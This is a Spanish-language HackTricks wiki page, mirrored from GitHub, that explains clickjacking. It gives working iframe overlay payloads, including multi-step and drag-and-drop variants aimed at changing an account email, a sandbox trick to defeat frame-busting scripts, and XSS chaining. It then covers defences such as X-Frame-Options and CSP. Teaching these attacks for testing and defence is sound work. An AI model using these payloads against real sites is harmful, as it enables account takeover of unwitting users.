mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
202 lines
9.9 KiB
Markdown
202 lines
9.9 KiB
Markdown
# Clickjacking
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|
|
|
|
## Qué es Clickjacking
|
|
|
|
En un ataque de clickjacking, un **usuario** es **engañado** para **hacer clic** en un **elemento** en una página web que es **invisible** o disfrazado como otro elemento. Esta manipulación puede llevar a consecuencias no deseadas para el usuario, como la descarga de malware, redirección a páginas web maliciosas, provisión de credenciales o información sensible, transferencias de dinero, o la compra en línea de productos.
|
|
|
|
### Truco de prellenado de formularios
|
|
|
|
A veces es posible **llenar el valor de los campos de un formulario usando parámetros GET al cargar una página**. Un atacante puede abusar de este comportamiento para llenar un formulario con datos arbitrarios y enviar la carga útil de clickjacking para que el usuario presione el botón Enviar.
|
|
|
|
### Llenar formulario con Drag\&Drop
|
|
|
|
Si necesitas que el usuario **llene un formulario** pero no quieres pedirle directamente que escriba información específica (como el correo electrónico o una contraseña específica que conoces), puedes simplemente pedirle que **Drag\&Drop** algo que escriba tus datos controlados como en [**este ejemplo**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
|
|
|
|
### Carga útil básica
|
|
```css
|
|
<style>
|
|
iframe {
|
|
position:relative;
|
|
width: 500px;
|
|
height: 700px;
|
|
opacity: 0.1;
|
|
z-index: 2;
|
|
}
|
|
div {
|
|
position:absolute;
|
|
top:470px;
|
|
left:60px;
|
|
z-index: 1;
|
|
}
|
|
</style>
|
|
<div>Click me</div>
|
|
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
|
|
```
|
|
### Carga útil de múltiples pasos
|
|
```css
|
|
<style>
|
|
iframe {
|
|
position:relative;
|
|
width: 500px;
|
|
height: 500px;
|
|
opacity: 0.1;
|
|
z-index: 2;
|
|
}
|
|
.firstClick, .secondClick {
|
|
position:absolute;
|
|
top:330px;
|
|
left:60px;
|
|
z-index: 1;
|
|
}
|
|
.secondClick {
|
|
left:210px;
|
|
}
|
|
</style>
|
|
<div class="firstClick">Click me first</div>
|
|
<div class="secondClick">Click me next</div>
|
|
<iframe src="https://vulnerable.net/account"></iframe>
|
|
```
|
|
### Drag\&Drop + Click payload
|
|
```css
|
|
<html>
|
|
<head>
|
|
<style>
|
|
#payload{
|
|
position: absolute;
|
|
top: 20px;
|
|
}
|
|
iframe{
|
|
width: 1000px;
|
|
height: 675px;
|
|
border: none;
|
|
}
|
|
.xss{
|
|
position: fixed;
|
|
background: #F00;
|
|
}
|
|
</style>
|
|
</head>
|
|
<body>
|
|
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
|
|
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
|
|
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
|
|
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
|
|
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
|
|
</body>
|
|
</html>
|
|
```
|
|
### XSS + Clickjacking
|
|
|
|
Si has identificado un **ataque XSS que requiere que un usuario haga clic** en algún elemento para **activar** el XSS y la página es **vulnerable a clickjacking**, podrías abusar de ello para engañar al usuario para que haga clic en el botón/enlace.\
|
|
Ejemplo:\
|
|
Encontraste un **self XSS** en algunos detalles privados de la cuenta (detalles que **solo tú puedes establecer y leer**). La página con el **formulario** para establecer estos detalles es **vulnerable** a **Clickjacking** y puedes **prellenar** el **formulario** con los parámetros GET.\
|
|
Un atacante podría preparar un ataque de **Clickjacking** a esa página **prellenando** el **formulario** con la **carga útil XSS** y **engañando** al **usuario** para que **envíe** el formulario. Así, **cuando se envía el formulario** y los valores son modificados, el **usuario ejecutará el XSS**.
|
|
|
|
### DoubleClickjacking
|
|
|
|
Primero [explicado en esta publicación](https://securityaffairs.com/172572/hacking/doubleclickjacking-clickjacking-on-major-websites.html), esta técnica pediría a la víctima que haga doble clic en un botón de una página personalizada colocada en una ubicación específica, y usaría las diferencias de tiempo entre los eventos mousedown y onclick para cargar la página de la víctima durante el doble clic, de modo que la **víctima realmente haga clic en un botón legítimo en la página de la víctima**.
|
|
|
|
Un ejemplo se puede ver en este video: [https://www.youtube.com/watch?v=4rGvRRMrD18](https://www.youtube.com/watch?v=4rGvRRMrD18)
|
|
|
|
Un ejemplo de código se puede encontrar en [esta página](https://www.paulosyibelo.com/2024/12/doubleclickjacking-what.html).
|
|
|
|
> [!WARNING]
|
|
> Esta técnica permite engañar al usuario para que haga clic en 1 lugar en la página de la víctima, eludiendo toda protección contra clickjacking. Por lo tanto, el atacante necesita encontrar **acciones sensibles que se pueden realizar con solo 1 clic, como solicitudes de OAuth que aceptan permisos**.
|
|
|
|
## Estrategias para Mitigar Clickjacking
|
|
|
|
### Defensas del Lado del Cliente
|
|
|
|
Los scripts ejecutados en el lado del cliente pueden realizar acciones para prevenir el Clickjacking:
|
|
|
|
- Asegurarse de que la ventana de la aplicación sea la ventana principal o superior.
|
|
- Hacer que todos los marcos sean visibles.
|
|
- Prevenir clics en marcos invisibles.
|
|
- Detectar y alertar a los usuarios sobre posibles intentos de Clickjacking.
|
|
|
|
Sin embargo, estos scripts de ruptura de marcos pueden ser eludidos:
|
|
|
|
- **Configuraciones de Seguridad de los Navegadores:** Algunos navegadores pueden bloquear estos scripts según sus configuraciones de seguridad o la falta de soporte para JavaScript.
|
|
- **Atributo `sandbox` de iframe HTML5:** Un atacante puede neutralizar los scripts de ruptura de marcos configurando el atributo `sandbox` con valores `allow-forms` o `allow-scripts` sin `allow-top-navigation`. Esto impide que el iframe verifique si es la ventana superior, por ejemplo,
|
|
```html
|
|
<iframe
|
|
id="victim_website"
|
|
src="https://victim-website.com"
|
|
sandbox="allow-forms allow-scripts"></iframe>
|
|
```
|
|
Los valores `allow-forms` y `allow-scripts` habilitan acciones dentro del iframe mientras deshabilitan la navegación de nivel superior. Para asegurar la funcionalidad deseada del sitio objetivo, pueden ser necesarios permisos adicionales como `allow-same-origin` y `allow-modals`, dependiendo del tipo de ataque. Los mensajes de la consola del navegador pueden guiar sobre qué permisos permitir.
|
|
|
|
### Defensas del lado del servidor
|
|
|
|
#### X-Frame-Options
|
|
|
|
El **encabezado de respuesta HTTP `X-Frame-Options`** informa a los navegadores sobre la legitimidad de renderizar una página en un `<frame>` o `<iframe>`, ayudando a prevenir Clickjacking:
|
|
|
|
- `X-Frame-Options: deny` - Ningún dominio puede enmarcar el contenido.
|
|
- `X-Frame-Options: sameorigin` - Solo el sitio actual puede enmarcar el contenido.
|
|
- `X-Frame-Options: allow-from https://trusted.com` - Solo el 'uri' especificado puede enmarcar la página.
|
|
- Tenga en cuenta las limitaciones: si el navegador no admite esta directiva, puede que no funcione. Algunos navegadores prefieren la directiva CSP frame-ancestors.
|
|
|
|
#### Directiva frame-ancestors de Content Security Policy (CSP)
|
|
|
|
La **directiva `frame-ancestors` en CSP** es el método recomendado para la protección contra Clickjacking:
|
|
|
|
- `frame-ancestors 'none'` - Similar a `X-Frame-Options: deny`.
|
|
- `frame-ancestors 'self'` - Similar a `X-Frame-Options: sameorigin`.
|
|
- `frame-ancestors trusted.com` - Similar a `X-Frame-Options: allow-from`.
|
|
|
|
Por ejemplo, el siguiente CSP solo permite el enmarcado desde el mismo dominio:
|
|
|
|
`Content-Security-Policy: frame-ancestors 'self';`
|
|
|
|
Más detalles y ejemplos complejos se pueden encontrar en la [documentación de frame-ancestors CSP](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) y en la [documentación de frame-ancestors de Mozilla](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors).
|
|
|
|
### Content Security Policy (CSP) con `child-src` y `frame-src`
|
|
|
|
La **Content Security Policy (CSP)** es una medida de seguridad que ayuda a prevenir Clickjacking y otros ataques de inyección de código al especificar qué fuentes el navegador debe permitir para cargar contenido.
|
|
|
|
#### Directiva `frame-src`
|
|
|
|
- Define fuentes válidas para frames.
|
|
- Más específica que la directiva `default-src`.
|
|
```
|
|
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
|
|
```
|
|
Esta política permite marcos del mismo origen (self) y https://trusted-website.com.
|
|
|
|
#### Directiva `child-src`
|
|
|
|
- Introducida en CSP nivel 2 para establecer fuentes válidas para trabajadores web y marcos.
|
|
- Actúa como un respaldo para frame-src y worker-src.
|
|
```
|
|
Content-Security-Policy: child-src 'self' https://trusted-website.com;
|
|
```
|
|
Esta política permite marcos y trabajadores del mismo origen (self) y https://trusted-website.com.
|
|
|
|
**Notas de Uso:**
|
|
|
|
- Deprecación: child-src está siendo eliminado en favor de frame-src y worker-src.
|
|
- Comportamiento de Respaldo: Si frame-src está ausente, se utiliza child-src como respaldo para marcos. Si ambos están ausentes, se utiliza default-src.
|
|
- Definición Estricta de Fuentes: Incluya solo fuentes de confianza en las directivas para prevenir la explotación.
|
|
|
|
#### Scripts de JavaScript para Romper Marcos
|
|
|
|
Aunque no son completamente infalibles, los scripts de ruptura de marcos basados en JavaScript se pueden utilizar para evitar que una página web sea enmarcada. Ejemplo:
|
|
```javascript
|
|
if (top !== self) {
|
|
top.location = self.location
|
|
}
|
|
```
|
|
#### Empleo de Tokens Anti-CSRF
|
|
|
|
- **Validación de Tokens:** Utilice tokens anti-CSRF en aplicaciones web para asegurar que las solicitudes que cambian el estado se realicen intencionadamente por el usuario y no a través de una página Clickjacked.
|
|
|
|
## Referencias
|
|
|
|
- [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
|
|
- [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html)
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|